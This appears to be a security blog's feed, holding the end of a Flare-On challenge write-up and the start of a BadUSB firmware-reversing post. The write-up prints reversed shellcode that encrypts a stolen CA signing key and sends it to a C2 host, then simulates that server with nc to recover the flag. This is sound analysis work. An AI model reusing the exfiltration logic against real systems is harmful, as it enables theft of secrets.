background-color: null;
font-style: inherit;">,</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span>buf<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span>file_size<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> len<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x4</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span></span>
<span id="cb28-22">sendto<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>sockfd<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span>buf<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span>encrypted_data<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> len<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span>file_size<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span></span>
<span id="cb28-23"></span>
<span id="cb28-24"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// clean up and exit</span></span>
<span id="cb28-25">close<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">()</span></span>
<span id="cb28-26">shutdown<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">()</span></span></code></pre></div></div>
</section>
</section>
</section>
<section id="recover-the-stolen-file" class="level2">
<h2 class="anchored" data-anchor-id="recover-the-stolen-file">Recover the stolen file</h2>
<p>Since I had more or less a clear understanding of the shellcode’s functionality, the next task was to recover the exfiltrated (encrypted) file, which (hopefully) contains the flag. To decrypt it, I needed the key and nonce. The decryption process involves XORing the encrypted data with the same keystream used during encryption.</p>
<section id="retrieve-data-from-the-coredump" class="level3">
<h3 class="anchored" data-anchor-id="retrieve-data-from-the-coredump">Retrieve data from the coredump</h3>
<p>I spent A LOT of time diving into the coredump with gdb, which was the hard way to get used to the tool.</p>
<p>The following picture contains the cryptographic material in the core dump, but it was not easy to locate. I’m a little embarrassed now because it appears so simple, but it took me a while. At least I learned something ¯\_(ツ)_/¯</p>
<p><img src="https://0xlibris.net/posts/flare11_5/img/coredump_flag.png" title="identify cryptographic material in gdb" class="img-fluid"></p>
<p>In order to extract this information, I used again the <code>dump</code> command:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb29" style="background: #f1f3f5;"><pre class="sourceCode sh code-with-copy"><code class="sourceCode bash"><span id="cb29-1"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">dump</span> binary memory dump_key.bin 0x7ffcc6600be8 0x7ffcc6600be8+0x20</span>
<span id="cb29-2"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">dump</span> binary memory dump_nonce.bin 0x7ffcc6600be8+0x20 0x7ffcc6600be8+0x20+0xc</span>
<span id="cb29-3"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">dump</span> binary memory dump_encrypted_flag.bin 0x7ffcc6600be8+0x130 0x7ffcc6600be8+0x130+0x20</span></code></pre></div></div>
<p>Alternatively, with Radare2 is very easy to copy those bytes:</p>
<p><img src="https://0xlibris.net/posts/flare11_5/img/radare2_copy_bytes.png" title="radare2 copy bytes from coredump" class="img-fluid"></p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb30" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb30-1">[0x00000000]&gt; px 0x160 @0x7ffcc6600be8</span>
<span id="cb30-2">- offset -      E8E9 EAEB ECED EEEF F0F1 F2F3 F4F5 F6F7  89ABCDEF01234567</span>
<span id="cb30-3">0x7ffcc6600be8  8dec 9112 eb76 0eda 7c7d 87a4 4327 1c35  .....v..|}..C'.5</span>
<span id="cb30-4">0x7ffcc6600bf8  d9e0 cb87 8993 b4d9 04ae f934 fa21 66d7  ...........4.!f.</span>
<span id="cb30-5">0x7ffcc6600c08  1111 1111 1111 1111 1111 1111 2000 0000  ............ ...</span>
<span id="cb30-6">0x7ffcc6600c18  2f72 6f6f 742f 6365 7274 6966 6963 6174  /root/certificat</span>
<span id="cb30-7">[...]</span>
<span id="cb30-8">[0x00000000]&gt; pcs 0x20 @0x7ffcc6600be8 </span>
<span id="cb30-9">"\x8d\xec\x91\x12\xeb\x76\x0e\xda\x7c\x7d\x87\xa4\x43\x27\x1c\x35\xd9\xe0\xcb\x87\x89\x93\xb4\xd9\x04\xae\xf9\x34\xfa\x21\x66\xd7"</span>
<span id="cb30-10">[0x00000000]&gt; pcs 0xc @0x7ffcc6600be8+0x20</span>
<span id="cb30-11">"\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11"</span>
<span id="cb30-12">[0x00000000]&gt; ps 0x2b @0x7ffcc6600be8+0x30</span>
<span id="cb30-13">/root/certificate_authority_signing_key.txt</span>
<span id="cb30-14">[0x00000000]&gt; pcs 0x20 @0x7ffcc6600be8+0x130</span>
<span id="cb30-15">"\xa9\xf6\x34\x08\x42\x2a\x9e\x1c\x0c\x03\xa8\x08\x94\x70\xbb\x8d\xaa\xdc\x6d\x7b\x24\xff\x7f\x24\x7c\xda\x83\x9e\x92\xf7\x07\x1d"</span></code></pre></div></div>
</section>
<section id="let-the-shellcode-decrypt-the-file" class="level3">
<h3 class="anchored" data-anchor-id="let-the-shellcode-decrypt-the-file">Let the shellcode decrypt the file</h3>
<p>While attempting static decryption, I encountered multiple issues due to uncertainty about the exact ChaCha20 modifications or if I had the correct key/nonce/encrypted data. After multiple failures, I realized the shellcode itself could be used to decrypt the file by simulating the C2 server and re-sending the encrypted flag.</p>
<p>Conditions for success:</p>
<ol type="1">
<li><p>Simulate a c2 server listening on <code>10.0.2.15:1337</code></p></li>
<li><p>Prepare a local file with the encrypted flag. (encryption is the same as decryption, so encrypt twice is equal to decrypt) <img src="https://latex.codecogs.com/png.latex?encrypted_flag%E2%80%85%E2%8A%95%E2%80%85keystream%E2%80%84=%E2%80%84(flag%E2%80%85%E2%8A%95%E2%80%85keystream)%E2%80%85%E2%8A%95%E2%80%85keystream%E2%80%84=%E2%80%84flag%E2%80%85%E2%8A%95%E2%80%85keystream%E2%80%85%E2%8A%95%E2%80%85keystream%E2%80%84=%E2%80%84flag"></p></li>
<li><p>Provide the shellcode with <code>key</code>, <code>nonce</code>, <code>filename_size</code>, and <code>filename</code> in the correct sequence:</p></li>
<li><p>Receive the decrypted flag through the shellcode’s response (<code>file_size</code> and <code>file</code>)</p></li>
</ol>
<p>I could have asked ChatGPT to make a simple python server for me, but I was tired and frustrated, so I decided to rely on the good ol’ <em>cats</em>.</p>
<p>First, I created a <code>www</code> directory and placed there the dumped files <code>dump_key.bin</code>, <code>dump_nonce.bin</code> and <code>dump_encrypted_flag.bin</code>. I moved there the compiled <code>shellcode</code> too.</p>
<p>The missing pieces were the <code>filepath_size</code> and the <code>filepath</code>, which I crafted with Python:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb31" style="background: #f1f3f5;"><pre class="sourceCode python code-with-copy"><code class="sourceCode python"><span id="cb31-1"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;&gt;&gt;</span> filepath <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">b"dump_encrypted_flag.bin"</span></span>
<span id="cb31-2"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;&gt;&gt;</span> <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">with</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">open</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"filepath.bin"</span>, <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"wb"</span>) <span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">as</span> f:</span>
<span id="cb31-3">...     f.write(filepath)</span>
<span id="cb31-4">... </span>
<span id="cb31-5"><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">23</span></span>
<span id="cb31-6"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;&gt;&gt;</span> filepath_size <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">len</span>(filepath)</span>
<span id="cb31-7"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;&gt;&gt;</span> <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">with</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">open</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"filepath_size.bin"</span>, <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"wb"</span>) <span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">as</span> f:</span>
<span id="cb31-8">...     f.write(filepath_size.to_bytes(<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">4</span>,<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"little"</span>))</span>
<span id="cb31-9">... </span>
<span id="cb31-10"><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">4</span></span></code></pre></div></div>
<p>The dirty but effective way of joining all the pieces together was simply using some <code>cat</code>s:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb32" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb32-1">$ cat dump_key.bin &gt; cat dump_nonce.bin &gt; cat filepath_size.bin &gt; cat filepath.bin &gt; please_give_me_the_flag.bin</span>
<span id="cb32-2">$ xxd please_give_me_the_flag.bin </span>
<span id="cb32-3">00000000: 943d f638 a818 13e2 de63 18a5 07f9 a0ba  .=.8.....c......</span>
<span id="cb32-4">00000010: 2dbb 8a7b a636 66d0 8d11 a65e c914 d66f  -..{.6f....^...o</span>
<span id="cb32-5">00000020: f236 839f 4dcd 711a 5286 2955 1700 0000  .6..M.q.R.)U....</span>
<span id="cb32-6">00000030: 6475 6d70 5f65 6e63 7279 7074 6564 5f66  dump_encrypted_f</span>
<span id="cb32-7">00000040: 6c61 672e 6269 6e                        lag.bin</span></code></pre></div></div>
<p>Then, I used <em><code>ncat</code></em> to simulate the c2 server, providing the crafted input and saving the response in a file:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb33" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb33-1">$ cat please_give_me_the_flag.bin | nc -nvtlp 1337 &gt; flag.txt</span>
<span id="cb33-2">Listening on 0.0.0.0 1337</span></code></pre></div></div>
<p>Finally, I detonated the shellcode on a different terminal tab. And there is the flag! *cries*</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb34" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb34-1">$ strace ./shellcode</span>
<span id="cb34-2">[...]</span>
<span id="cb34-3">socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) = 3</span>
<span id="cb34-4">connect(3, {sa_family=AF_INET, sin_port=htons(1337), sin_addr=inet_addr("10.0.2.15")}, 16) = 0</span>
<span id="cb34-5">recvfrom(3, "\215\354\221\22\353v\16\332|}\207\244C'\0345\331\340\313\207\211\223\264\331\4\256\3714\372!f\327", 32, 0, NULL, NULL) = 32</span>
<span id="cb34-6">recvfrom(3, "\21\21\21\21\21\21\21\21\21\21\21\21", 12, 0, NULL, NULL) = 12</span>
<span id="cb34-7">recvfrom(3, "\27\0\0\0", 4, 0, NULL, NULL) = 4</span>
<span id="cb34-8">recvfrom(3, "dump_encrypted_flag.bin", 23, 0, NULL, NULL) = 23</span>
<span id="cb34-9">open("dump_encrypted_flag.bin", O_RDONLY) = 4</span>
<span id="cb34-10">read(4, "\251\3664\10B*\236\34\f\3\250\10\224p\273\215\252\334m{$\377\177$|\332\203\236\222\367\7\35", 128) = 32</span>
<span id="cb34-11">sendto(3, "&amp;\0\0\0", 4, 0, NULL, 0)     = 4</span>
<span id="cb34-12">sendto(3, "supp1y_cha1n_sund4y@flare-on.com"..., 38, 0, NULL, 0) = 38</span>
<span id="cb34-13">close(4)                                = 0</span>
<span id="cb34-14">shutdown(3, SHUT_RD)                    = 0</span>
<span id="cb34-15">exit_group(0)                           = ?</span>
<span id="cb34-16">+++ exited with 0 +++</span></code></pre></div></div>
<p>The flag was saved on the file exactly as planned :)</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb35" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb35-1">$ cat please_give_me_the_flag.bin | nc -nvtlp 1337 &gt; flag.txt</span>
<span id="cb35-2">Listening on 0.0.0.0 1337</span>
<span id="cb35-3">Connection received on 10.0.2.15 59262</span>
<span id="cb35-4">$ xxd flag.txt </span>
<span id="cb35-5">00000000: 2600 0000 7375 7070 3179 5f63 6861 316e  &amp;...supp1y_cha1n</span>
<span id="cb35-6">00000010: 5f73 756e 6434 7940 666c 6172 652d 6f6e  _sund4y@flare-on</span>
<span id="cb35-7">00000020: 2e63 6f6d 9b34 62e7 d872                 .com.4b..r</span>
<span id="cb35-8">$ cat flag.txt</span>
<span id="cb35-9">&amp;supp1y_cha1n_sund4y@flare-on.com�4b��r$</span></code></pre></div></div>
<p>What a journey</p>
</section>
<section id="static-decryption" class="level3">
<h3 class="anchored" data-anchor-id="static-decryption">Static decryption</h3>
<p>At the time of writing this report, I realized that I wasn’t too far away to the solution when I tried to decrypt the flag statically. The encryption algorithm only differs with the uppercase “K”. During the inspection of the shellcode I saw a 10 loop iteration and I thought it was a reduced number of rounds from the original algorithm. I got misled about the number of rounds, because the algorithm uses 10 loops, with 2 rounds in each one, and the 10 loop iteration was correct. It is nicely explained on <a href="https://en.wikipedia.org/wiki/Salsa20">Wikipedia</a>, my fault was to not read it more thoroughly.</p>
<p>Knowing that small difference and the final answer, writing a python script is very easy once you know the solution.</p>
<p>I had to modify an existing ChaCha20 library, and I opted for <a href="https://github.com/ph4r05/py-chacha20poly1305/blob/master/chacha20poly1305/chacha.py"><code>chacha20poly1305</code></a>. The modification is just one byte of the class <code>ChaCha</code>:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb36" style="background: #f1f3f5;"><pre class="sourceCode python code-with-copy"><code class="sourceCode python"><span id="cb36-1">[...]</span>
<span id="cb36-2"></span>
<span id="cb36-3"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">class</span> ChaCha(<span class="bu" style="color: null;
background-color: null;
font-style: inherit;">object</span>):</span>
<span id="cb36-4"></span>
<span id="cb36-5">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">"""Pure python implementation of ChaCha cipher"""</span></span>
<span id="cb36-6"></span>
<span id="cb36-7">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># expand 32-byte k</span></span>
<span id="cb36-8">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># "expa" "nd 3" "2-by" "te k"</span></span>
<span id="cb36-9">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># "apxe" "3 dn" "yb-2" "k et"</span></span>
<span id="cb36-10">    constants <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> [<span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x61707865</span>, <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x3320646e</span>, <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x79622d32</span>, <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x6b206574</span>]</span>
<span id="cb36-11">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># expand 32-byte K</span></span>
<span id="cb36-12">    constants <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> [<span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x61707865</span>, <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x3320646e</span>, <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x79622d32</span>, <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x4b206574</span>]</span>
<span id="cb36-13"></span>
<span id="cb36-14">[...]</span></code></pre></div></div>
<p>This is the final decryption code using the modified <code>ChaCha</code> implementation:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb37" style="background: #f1f3f5;"><pre class="sourceCode python code-with-copy"><code class="sourceCode python"><span id="cb37-1"><span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">from</span> chacha20poly1305 <span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">import</span> ChaCha</span>
<span id="cb37-2"></span>
<span id="cb37-3">key <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">b"</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">\x8d\xec\x91\x12\xeb\x76\x0e\xda\x7c\x7d\x87\xa4\x43\x27\x1c\x35\xd9\xe0\xcb\x87\x89\x93\xb4\xd9\x04\xae\xf9\x34\xfa\x21\x66\xd7</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span></span>
<span id="cb37-4">nonce <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">b"</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span></span>
<span id="cb37-5">ciphertext <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">b"</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">\xa9\xf6\x34\x08\x42\x2a\x9e\x1c\x0c\x03\xa8\x08\x94\x70\xbb\x8d\xaa\xdc\x6d\x7b\x24\xff\x7f\x24\x7c\xda\x83\x9e\x92\xf7\x07\x1d</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span></span>
<span id="cb37-6"></span>
<span id="cb37-7">plaintext <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> ChaCha(key, nonce, counter<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span>, rounds<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">20</span>).decrypt(ciphertext)</span>
<span id="cb37-8"><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">print</span>(plaintext)</span></code></pre></div></div>
<p>And the precious flag :)</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb38" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb38-1">(venv) $ python3 decrypt_flag.py</span>
<span id="cb38-2">bytearray(b'supp1y_cha1n_sund4y@flare-on.com')</span></code></pre></div></div>
</section>
</section>
<section id="conclusion" class="level2">
<h2 class="anchored" data-anchor-id="conclusion">Conclusion</h2>
<p>This challenge was an emotional rollercoaster, frustrating at times, but ultimately rewarding. Kudos to <em>toomanybananas</em> for this amazing challenge. Looking back, I’m glad I stayed stubborn and refused to give up, even when the difficulty felt way above my current skill level. I was on vacation for 10 days without my computer, but the coredump was still on my mind. It pushed me to dive deep into tools like gdb, radare2, or cryptographic analysis, teaching me more than I could have imagined at the start.</p>
<p>I’m already excited to participate in the next Flare-On and hope to make it a bit further :D</p>


</section>

<a onclick="window.scrollTo(0, 0); return false;" id="quarto-back-to-top"><i class="bi bi-arrow-up"></i> Back to top</a> ]]></description>
  <category>flareon</category>
  <category>reversing</category>
  <category>ghidra</category>
  <category>radare2</category>
  <category>CTF</category>
  <category>gdb</category>
  <guid>https://0xlibris.net/posts/flare11_5/</guid>
  <pubDate>Fri, 06 Dec 2024 00:00:00 GMT</pubDate>
  <media:content url="https://0xlibris.net/posts/flare11_5/img/flag_root.png" medium="image" type="image/png" height="96" width="144"/>
</item>
<item>
  <title>Reversing a Digispark badusb with Radare2 [3/3]</title>
  <link>https://0xlibris.net/posts/reversing_badusb_3/</link>
  <description><![CDATA[ 






<section id="introduction" class="level2">
<h2 class="anchored" data-anchor-id="introduction">Introduction</h2>
<p>This post is the continuation of <a href="../reversing_badusb_1">How to safely investigate an unknown and potentially malicious USB device [1/3]</a> and <a href="../reversing_badusb_2">From sadusb to badusb. Building an internal SOC exercise [2/3]</a>.</p>
<p>After the initial failed attempt at reversing a memory dump, let’s assume I found a malicious USB stick in the parking lot. This time, however, the payload isn’t unknown; is the one that I crafted myself and explained in the previous post.</p>
<p>Now that we have a <em>real</em> <em>malicious</em> badusb, we can <strong>finally</strong> analyze it.</p>
<p>Yes, I know it’s cheating, but I don’t care.</p>
<p>Why spend more time on this if I already know what’s inside the stick? Because, why not?</p>
</section>
<section id="memory-dump" class="level2">
<h2 class="anchored" data-anchor-id="memory-dump">Memory dump</h2>
<p>There are many questions on Stack Overflow about whether it’s possible to extract code from an Arduino board or an AVR microcontroller. Since many Arduino boards are based on ATmega microcontrollers, it’s understandable that beginners often run into issues and ask these questions. So, looks like it’s common to flash something and then lose the source code ¯\<em>(ツ)</em>/¯</p>
<p>One of my favorite answers to the question <a href="https://arduino.stackexchange.com/questions/68711/how-do-i-extract-code-from-an-arduino">How do I extract code from an arduino? [duplicate]</a> is:</p>
<blockquote class="blockquote">
<p>The short answer: You don’t.</p>
<p>With enough know-how, you could probably extract the executable binary from the Arduino, but the source code is not installed on the device. You would need to run a decompiler on the binary. (Or read the machine code directly.) The output of a decompiler is usually pretty ugly however, and will look quite different from the original source-code. It won’t have meaningful variable names, class names, or function names, and the code structure will likely be a little different than the original source code.</p>
</blockquote>
<p>All those problems, setbacks, and attempts to demotivate are exactly what I’m looking for :D</p>
<p>But, <a href="../reversing_badusb_1#dumping-memory">as we already know</a>, there are different ways to dump memory from the ATtiny. I will use the Arduino as ISP because it’s easier and more reliable. Everything is explained here: <a href="../reversing_badusb_1#second-attempt-arduino">Dumping memory, Second attempt: Arduino</a></p>
<p>Not much more to add here, just clip the chip and fire avrdude.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb1" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb1-1">$ sudo avrdude -v -c avrisp -p t85 -P /dev/ttyACM0 -b 19200 -U flash:r:dump.bin</span></code></pre></div></div>
<section id="inspecting-the-memory-dump" class="level3">
<h3 class="anchored" data-anchor-id="inspecting-the-memory-dump">Inspecting the memory dump</h3>
<p>Once we have the memory dump file, we can inspect its contents.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb2" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb2-1">$ xxd dump.bin</span>
<span id="cb2-2">00000000: 48c3 6cc3 9ac6 6ac3 22c6 68c3 67c3 66c3  H.l...j.".h.g.f.</span>
<span id="cb2-3">00000010: 65c3 64c3 63c3 62c3 61c3 60c3 5fc3 2c5e  e.d.c.b.a.`._.,^</span>
<span id="cb2-4">00000020: 7460 6162 6434 6667 656e 362d 3738 271e  t`abd4fgen6-78'.</span>
<span id="cb2-5">00000030: 1f20 2122 2324 2526 7333 762e 7778 5f44  . !"#$%&amp;s3v.wx_D</span>
<span id="cb2-6">00000040: 4546 4748 494a 4b4c 4d4e 4f50 5152 5354  EFGHIJKLMNOPQRST</span>
<span id="cb2-7">00000050: 5556 5758 595a 5b5c 5d2f 3130 636d 3504  UVWXYZ[\]/10cm5.</span>
<span id="cb2-8">00000060: 0506 0708 090a 0b0c 0d0e 0f10 1112 1314  ................</span>
<span id="cb2-9">00000070: 1516 1718 191a 1b1c 1d6f 7170 752a 0501  .........oqpu*..</span>
<span id="cb2-10">00000080: 0906 a101 0507 19e0 29e7 1500 2501 7501  ........)...%.u.</span>
<span id="cb2-11">00000090: 9508 8102 9501 7508 2573 1900 2973 8100  ......u.%s..)s..</span>
<span id="cb2-12">000000a0: c012 034b 0065 0079 0062 006f 0061 0072  ...K.e.y.b.o.a.r</span>
<span id="cb2-13">000000b0: 0064 0028 0344 0065 006c 006c 0020 0043  .d.(.D.e.l.l. .C</span>
<span id="cb2-14">000000c0: 006f 006d 0070 0075 0074 0065 0072 0020  .o.m.p.u.t.e.r. </span>
<span id="cb2-15">000000d0: 0043 006f 0072 0070 002e 0004 0309 0409  .C.o.r.p........</span>
<span id="cb2-16">000000e0: 0222 0001 0100 8032 0904 0000 0103 0101  .".....2........</span>
<span id="cb2-17">...</span></code></pre></div></div>
<p>This time, we have some interesting data! The keyboard name is easily identifiable at the start of the binary, looks so promising!</p>
<p>It’s the only thing that makes sense, but it’s normal, it’s a memory dump.</p>
<p>Running the <code>strings</code> command doesn’t show anything useful:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb3" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb3-1">$ strings dump.bin</span>
<span id="cb3-2">,^t`abd4fgen6-78'</span>
<span id="cb3-3"> !"#$%&amp;s3v.wx_DEFGHIJKLMNOPQRSTUVWXYZ[\]/10cm5</span>
<span id="cb3-4">oqpu*</span>
<span id="cb3-5">h&gt;s@</span>
<span id="cb3-6">/_?O$</span>
<span id="cb3-7">&amp;/ R3</span>
<span id="cb3-8">M/l/</span>
<span id="cb3-9">F/h/</span>
<span id="cb3-10">q@d/w</span>
<span id="cb3-11">q/wRP</span>
<span id="cb3-12">~@/G~T</span></code></pre></div></div>
<p>If the payload contents were shown directly using <code>strings</code>, it would have been too easy.</p>
<p>To get more information, we’ll need to use a disassembler to recover the assembly code.</p>
</section>
<section id="dissassembly" class="level3">
<h3 class="anchored" data-anchor-id="dissassembly">Dissassembly</h3>
<blockquote class="blockquote">
<p>A disassembler is a computer program that translates machine language into assembly language.</p>
</blockquote>
<p><code>avr-objdump</code> is a utility that is part of the AVR-GCC toolset, used for developing software for AVR microcontrollers. It is a version of the GNU <code>objdump</code> program tailored specifically for the AVR architecture.</p>
<p>The input file should be in <a href="https://en.wikipedia.org/wiki/Intel_HEX">Intel Hex format</a>. To convert from binary to ihex or vice-versa, we can use the <code>avr-objcopy</code> utility.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb4" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb4-1">avr-objcopy -I ihex dump.hex -O binary dump.bin</span>
<span id="cb4-2">avr-objcopy -I binary dump.bin -O ihex dump.hex </span></code></pre></div></div>
<p>Some useful options of the <code>avr-objdump</code> include:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb5" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb5-1">-x, --all-headers              Display the contents of all headers</span>
<span id="cb5-2">-d, --disassemble              Display assembler contents of executable sections</span>
<span id="cb5-3">-D, --disassemble-all          Display assembler contents of all sections</span>
<span id="cb5-4">-S, --source                   Intermix source code with disassembly</span>
<span id="cb5-5">-s, --full-contents            Display the full contents of all sections requested</span>
<span id="cb5-6">-m, --architecture=MACHINE     Specify the target architecture as MACHINE</span></code></pre></div></div>
<p>The MACHINE architecture can be found on <a href="https://www.nongnu.org/avr-libc/user-manual/using_tools.html">nongnu.org</a>. For the ATtiny85, it corresponds to <code>avr2/avr25</code>.</p>
<p>Using these utilities, we can get the disassembly, though it’s a bit rudimentary.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb6" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb6-1">$ avr-objcopy -I binary dump.bin -O ihex dump.hex</span>
<span id="cb6-2">$ avr-objdump -m avr25 -xD dump.hex</span>
<span id="cb6-3"></span>
<span id="cb6-4">dump.hex:     file format ihex</span>
<span id="cb6-5">dump.hex</span>
<span id="cb6-6">architecture: UNKNOWN!, flags 0x00000000:</span>
<span id="cb6-7"></span>
<span id="cb6-8">start address 0x00000000</span>
<span id="cb6-9"></span>
<span id="cb6-10">Sections:</span>
<span id="cb6-11">Idx Name          Size      VMA       LMA       File off  Algn</span>
<span id="cb6-12">  0 .sec1         000011aa  00000000  00000000  00000000  2**0</span>
<span id="cb6-13">                  CONTENTS, ALLOC, LOAD</span>
<span id="cb6-14">SYMBOL TABLE:</span>
<span id="cb6-15">no symbols</span>
<span id="cb6-16"></span>
<span id="cb6-17">Disassembly of section .sec1:</span>
<span id="cb6-18"></span>
<span id="cb6-19">00000000 &lt;.sec1&gt;:</span>
<span id="cb6-20">       0:       48 c3           rjmp    .+1680          ;  0x692</span>
<span id="cb6-21">       2:       6c c3           rjmp    .+1752          ;  0x6dc</span>
<span id="cb6-22">       4:       9a c6           rjmp    .+3380          ;  0xd3a</span>
<span id="cb6-23">       6:       6a c3           rjmp    .+1748          ;  0x6dc</span>
<span id="cb6-24">       8:       22 c6           rjmp    .+3140          ;  0xc4e</span>
<span id="cb6-25">       a:       68 c3           rjmp    .+1744          ;  0x6dc</span>
<span id="cb6-26">       c:       67 c3           rjmp    .+1742          ;  0x6dc</span>
<span id="cb6-27">       e:       66 c3           rjmp    .+1740          ;  0x6dc</span>
